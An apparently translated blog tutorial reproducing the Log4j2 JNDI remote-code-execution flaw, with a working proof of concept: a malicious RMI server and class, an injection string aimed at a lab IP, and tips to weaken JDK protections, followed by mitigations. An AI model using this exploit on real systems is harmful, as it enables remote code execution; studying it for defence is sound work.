background
Apache Log4j2 is a Java based logging tool. The tool rewrites the Log4j framework and introduces a wealth of features. The log framework is widely used in business system development to record log information. In most cases, developers may write the error information caused by user input into the log, such as printing some abnormal information when the user logs in, such as xxx password input error more than 5 times, and the account is locked; xxx account has been locked; xxx account logs in frequently.
Not long ago, the details of the Remote Code Execution Vulnerability of the Apache open source project Log4j were disclosed. Due to the wide use of Log4j, once exploited by an attacker, this vulnerability will cause serious harm.
It is reported that Apache log4j 2 X < = version 2.14.1 will be affected. Affected applications include but are not limited to: Spring-Boot-strater-log4j2, Apache Struts2, Apache Solr, Apache Flink, Apache Druid, Elasticsearch, Flume, Dubbo, Redis, Logstash, Kafka, etc.
Because this component is widely used, with low utilization threshold and great harm, network security experts recommend that all users upgrade to the Security version > = 2.15.0 as soon as possible.
Vulnerability details
srping-boot-strater-log4j2 this vulnerability is caused by the lookup function provided for Log4j 2, which allows developers to read the configuration in the corresponding environment through some protocols. However, in the process of implementation, the input is not strictly judged, resulting in loopholes.
Relationship between JNDI and RMI
JNDI can remotely download class files to build objects
Loophole recurrence
Hackers start an rmi service with malicious code on their own client. Through the vulnerability of log4j on the server, they connect to their own rmi server when they connect to the jndi context lookup on the server. When the server connects to the rmi server to execute the lookup, they will query the reference pointed to by the address through rmi and instantiate this class locally, Therefore, writing logic in the constructor or static code block in the class will execute this logic when the server (the client in the jndi rmi process) is instantiated, resulting in jndi injection.
code
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.lingyejun</groupId> <artifactId>log4j2-safe</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.0</version> </dependency> </dependencies> </project>
package com.lingyejun.rmi; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class HackerAttackCode implements ObjectFactory { public HackerAttackCode() { } static { System.out.println("Hackers are attacking your server"); } public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
package com.lingyejun.rmi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RmiServer { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); // The third parameter in new Reference () indicates the path of the hacker attackcode classes file. It can be ftp or http protocol. null is written locally Reference reference = new Reference("com.lingyejun.rmi.HackerAttackCode","com.lingyejun.rmi.HackerAttackCode",null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("aa",referenceWrapper); System.out.println("RMI Server started"); } catch (Exception e) { e.printStackTrace(); } } }
package com.lingyejun; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4j2SafeMain { private static final Logger LOGGER = LogManager.getLogger(); public static void main(String[] args) { String userName = "lingyejun"; LOGGER.info("user {} log in success", userName); userName = "${java:runtime}"; LOGGER.info("user {} log in success", userName); // The higher version of Java will not execute remote classes by default. Only the version lower than 8u121 will be injected by rmi, and the version lower than 8u191 will be injected by ldap. /*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");*/ userName = "${jndi:rmi://192.168.1.103:1099/aa}"; LOGGER.info("user {} log in success", userName); } }
When writing test code, you should pay attention to the following points
1. The third parameter in new Reference() in the video represents the path of EvilObj classes file, which can be ftp or http protocol. null is written locally.
2. In the test class, due to the JDK version, an error like The object factory is untrusted may be reported, because the higher version of Java will not execute the remote class by default. Only the version lower than 8u121 will be injected by RMI, and the version lower than 8u191 will be injected by ldap. In Log4jTest class, add: system setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System. setProperty("java.rmi.server.useCodebaseOnly", "false");
3. The jdk version of Lingye Jun is 1.8.0_ 144. Hackeratackcode needs to implement javax naming. spi. The objectfactory interface can only be reproduced.
repair
- Temporary emergency mitigation measures
(1) Modify the jvm parameter - dlog4j2 formatMsgNoLookups=true
(2) Modify the configuration log4j2 formatMsgNoLookups=True
(3) Set the system environment variable FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS is set to true
2. The repair scheme checks all systems using log4j components and upgrades the version of log4j components to above 2.15.0.
In short, do not believe the input information from the client. It is dangerous to always believe the input from the user.
If this article is helpful to you, please give "Lingye Jun" a praise. Thank you for your support.